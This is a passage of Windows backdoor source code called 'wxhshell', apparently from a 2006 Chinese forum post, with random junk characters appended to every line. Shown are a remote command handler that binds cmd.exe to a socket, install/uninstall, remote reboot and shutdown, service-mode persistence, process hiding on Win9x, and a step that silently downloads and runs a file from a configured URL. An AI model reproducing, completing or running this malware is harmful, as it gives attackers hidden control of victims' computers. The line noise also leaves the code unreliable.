  // 帮助 n{"a 0O  
  case '?': { UFyk%#L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iO}KERfU  
    break; 1}OM"V  
  } @Z Dd(xB&  
  // 安装 K/8TwB?I  
  case 'i': { 4 Z&KR<2Z  
    if(Install()) seZb;0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^_uCSA'X  
    else E*QLw* H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;+lsNf  
    break; VBK|*Tl  
    } yER  
  // 卸载 U=[isi+7  
  case 'r': { lO HW9Z  
    if(Uninstall()) Y9B"yV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5)ooE   
    else a&B@F]+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '>t'U?7w<  
    break; 5`q#~fJ2  
    } 1?,C d  
  // 显示 wxhshell 所在路径 C9eisUM  
  case 'p': { ]aYuBoj  
    char svExeFile[MAX_PATH]; 2h1P!4W85  
    strcpy(svExeFile,"\n\r"); YAd%d|Q  
      strcat(svExeFile,ExeFile); "lL/OmG  
        send(wsh,svExeFile,strlen(svExeFile),0); rW`l1yi*$  
    break; Xi!e=5&Pa  
    } ~Sx\>wBlc  
  // 重启 6ck%M#v  
  case 'b': { 6u{%jSA>D\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]6,D 9^{;  
    if(Boot(REBOOT)) 3]kN9n{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >C`#4e?}  
    else { Fm+V_.H/;  
    closesocket(wsh); jwheJ G  
    ExitThread(0); }l_8~/9  
    } n'!x"O7  
    break;  Au*1-  
    } SA?1*dw)  
  // 关机 =D)ADZ\<r  
  case 'd': { r"dR}S.Uf  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *TPWLR ^  
    if(Boot(SHUTDOWN)) Y /l~R7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C{,Vk/D-0  
    else { T75N0/teS  
    closesocket(wsh); 4K,S5^`Gx  
    ExitThread(0); m,ur{B8 :  
    } o 80x@ &A:  
    break; {HjJ9ZGQ  
    } c!mMH~#  
  // 获取shell WnA Y<hZ|  
  case 's': { _AH_<Z(  
    CmdShell(wsh); <|hrmwk|  
    closesocket(wsh); R0-Y2v  
    ExitThread(0); zO0K*s.yK  
    break; dcfwUjp[  
  } w4l]rH  
  // 退出 4|DN^F~iut  
  case 'x': { 6xu%M&ht  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fr&p0)85>B  
    CloseIt(wsh); j_S3<wEJ  
    break; 1D%E})B6  
    } 8tzL.P^  
  // 离开 a>k9& w  
  case 'q': { yGH')TsjD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +P.JiH`\=  
    closesocket(wsh); l`a_0  
    WSACleanup(); "e/"$z'ca  
    exit(1); =`l><  
    break; (N5"'`NZA  
        } V6'k\5|_  
  } 15MKV=?oY  
  } \!*F:v0g^  
 &%T*sR  
  // 提示信息 juxAyds  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cG4}daK]d  
} BRv#`  
  } Cj J n  
Sp]ov:]%f  
  return; P1<McQ  
} He&A>bA)z  
V>ZDJW"G!  
// shell模块句柄 u@Bgyt7Y  
int CmdShell(SOCKET sock) ](`:<>c  
{ AG"iS<u  
STARTUPINFO si; pqe%tRH{  
ZeroMemory(&si,sizeof(si)); qBZ;S3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LN9.Q'@r?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Pd~z%VoO  
PROCESS_INFORMATION ProcessInfo; IG~Zxn1o  
char cmdline[]="cmd"; ]PbwG  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v+CW([zAx#  
  return 0; 2~h Q   
} o%K1!'  
JC}T*h>Ee  
// 自身启动模式 6mjD@  
int StartFromService(void) `0-i>>  
{ jRxzZt4  
typedef struct jJ?G7Q5 l  
{ }MtORqK  
  DWORD ExitStatus; M`xI N~  
  DWORD PebBaseAddress; 4thPR}DH}  
  DWORD AffinityMask; J~ wu*x  
  DWORD BasePriority; ozA%u,\7k  
  ULONG UniqueProcessId; &09G9GsnQ  
  ULONG InheritedFromUniqueProcessId; 7>-99o^W  
}   PROCESS_BASIC_INFORMATION; l s%'\}  
6L2Wv5C  
PROCNTQSIP NtQueryInformationProcess; E&Sr+D aPD  
am/D$ (l1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2SKtdiY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;`Z>^.CB  
B9'2$s+Z;  
  HANDLE             hProcess; S}K-\[i?  
  PROCESS_BASIC_INFORMATION pbi; 'Y/8gD~.  
.[Ny(X/]/}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >Fc=F#tA9  
  if(NULL == hInst ) return 0; {7Kl #b  
8qT^=K $  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y/+y |.Xg  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u Npa2{S'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d!"gb,ec  
mOb@w/f  
  if (!NtQueryInformationProcess) return 0; s+v$sF  
9W j9=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %t$)sg]  
  if(!hProcess) return 0; #:Ukv?  
{3 >`k.w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,fj~BkW{  
T? ,Q=.  
  CloseHandle(hProcess); #vTF:r  
g5 y*-t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^;@!\Rc  
if(hProcess==NULL) return 0; vQ[ Tc V  
E%$[*jZ  
HMODULE hMod; U)1hC^[!   
char procName[255]; =BzBM`-o  
unsigned long cbNeeded; v=D4O.  
~:-V<r,pe  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); axv-U dE;  
"rw'mogRL  
  CloseHandle(hProcess); 7Q aZ|\c  
zZS,<Z  
if(strstr(procName,"services")) return 1; // 以服务启动 d)0 hAdh  
epP_~TU  
  return 0; // 注册表启动 E,[v%Xw   
} s$/ Z+"f(  
W;8}`k  
// 主模块 ]jV1/vJ-!  
int StartWxhshell(LPSTR lpCmdLine) u<HJFGLzI  
{ [LSs|f  
  SOCKET wsl; MA v-#  
BOOL val=TRUE; '@#l/9  
  int port=0; = {~A} X01  
  struct sockaddr_in door; dz?Ey~;M  
Ev&aD  
  if(wscfg.ws_autoins) Install(); ^1XnnQa  
~bfjP2 g  
port=atoi(lpCmdLine); l{. XhB  
5NMju!/  
if(port<=0) port=wscfg.ws_port; X{qa|6S,F  
&tw{d DD6  
  WSADATA data; ['I5(M@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G)%r|meKGB  
"=0JYh)%_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !XY}\zKq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,D`\ R V  
  door.sin_family = AF_INET; YTfMYH=}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u6*mHkM  
  door.sin_port = htons(port); ['l}*  
dj3E20Ws  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a<Ps6'  
closesocket(wsl); B|rf[EI>  
return 1; 9RY}m7  
} /fxv^C82yv  
-yY]0  
  if(listen(wsl,2) == INVALID_SOCKET) { ?gS~9jgcd  
closesocket(wsl); u~27\oj,  
return 1; ~<=wTns!  
} =`wnng5m  
  Wxhshell(wsl); \Qz  
  WSACleanup(); 7[(<t+  
<2PO3w?Z  
return 0; C6:; T%  
ra{HlB{  
} >orDw3xC  
{^Q1b.=  
// 以NT服务方式启动 >8DZj&j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BEii:05  
{  !:|D[1m  
DWORD   status = 0; S&~;l/  
  DWORD   specificError = 0xfffffff; @|9V]bk  
7XiR)jYo*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Tc;j)_C)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ffh3okyW0  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2tdr1+U?g  
  serviceStatus.dwWin32ExitCode     = 0; AO0aOX8_+D  
  serviceStatus.dwServiceSpecificExitCode = 0; tR-rW)0K3Q  
  serviceStatus.dwCheckPoint       = 0; =bb)B(  
  serviceStatus.dwWaitHint       = 0; Fx@@.O6  
.4,l0Nn`W  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }U$p[Gi<  
  if (hServiceStatusHandle==0) return; (s!cd]Qa.  
)}T0SGY  
status = GetLastError(); y3mJO[U0 a  
  if (status!=NO_ERROR) 9 X87"  
{ yv.(Oy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; liVj-*m  
    serviceStatus.dwCheckPoint       = 0; Gu K!<-Oz"  
    serviceStatus.dwWaitHint       = 0; p}k\l dmh{  
    serviceStatus.dwWin32ExitCode     = status; *7!*kq g!u  
    serviceStatus.dwServiceSpecificExitCode = specificError; _,E! <  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (1;%V>,L  
    return; 4CioVQdj  
  } )Jd{WC.  
m#t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {b26DKkQS  
  serviceStatus.dwCheckPoint       = 0; Rs1JCP=d8  
  serviceStatus.dwWaitHint       = 0; PH]ui=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?1/wl;=fm  
} PD@@4@^  
O.wk*m!9  
// 处理NT服务事件,比如:启动、停止 4(}V$#^+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (khMjFOg  
{ {#uf#J|  
switch(fdwControl) x-ZCaa}O  
{ c!>",rce  
case SERVICE_CONTROL_STOP: T\$r|  
  serviceStatus.dwWin32ExitCode = 0; jxA*Gg3cT5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N^By#Z  
  serviceStatus.dwCheckPoint   = 0; "%{J$o  
  serviceStatus.dwWaitHint     = 0; #wZBWTj.  
  { J l9w/T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  tvvRHvL  
  } 9N{"ob Z  
  return; *6 1G<I  
case SERVICE_CONTROL_PAUSE: ] iVoF N}^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Rac4a@hZ  
  break; >-<7 r?~  
case SERVICE_CONTROL_CONTINUE: 9_\1cSk'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >&2n\HR\  
  break; %^66(n)  
case SERVICE_CONTROL_INTERROGATE: WG.J-2#3  
  break; {,b:f  
}; 9x[|75}l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F5;x>;r  
} 9W@ Tf  
<)$b=z  
// 标准应用程序主函数 +b6kU{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E7UYJ)6]  
{ Qg4g(0E@  
@+ U++  
// 获取操作系统版本 K=X13As_  
OsIsNt=GetOsVer(); NKS-G2 Y<P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^J$?[@qD  
q<*UeyE S  
  // 从命令行安装 \hT=U*dMR  
  if(strpbrk(lpCmdLine,"iI")) Install(); # ~T K C|G  
k->cqtG  
  // 下载执行文件 4mJ[Wr\y  
if(wscfg.ws_downexe) { p(]o#$ 6[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aw8q}:  
  WinExec(wscfg.ws_filenam,SW_HIDE); ia}V8i  
} |qTS{qQh{L  
#9) D.d|5  
if(!OsIsNt) { $f]dL};  
// 如果时win9x,隐藏进程并且设置为注册表启动 YXWlg%s  
HideProc(); J`4{O:{4  
StartWxhshell(lpCmdLine); KF4}cM=.5  
} WF0[/Y  
else BSib/)p   
  if(StartFromService()) 0"to]=  
  // 以服务方式启动 nI6[y)j  
  StartServiceCtrlDispatcher(DispatchTable); *ioVLt,:R  
else j9Y'HU5"  
  // 普通方式启动 &DgJu.  
  StartWxhshell(lpCmdLine); qC aM]Y  
dF/HKBJ  
return 0; 4Sxt<7[f  
}
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只看该作者 1 发表于: 2006-10-10
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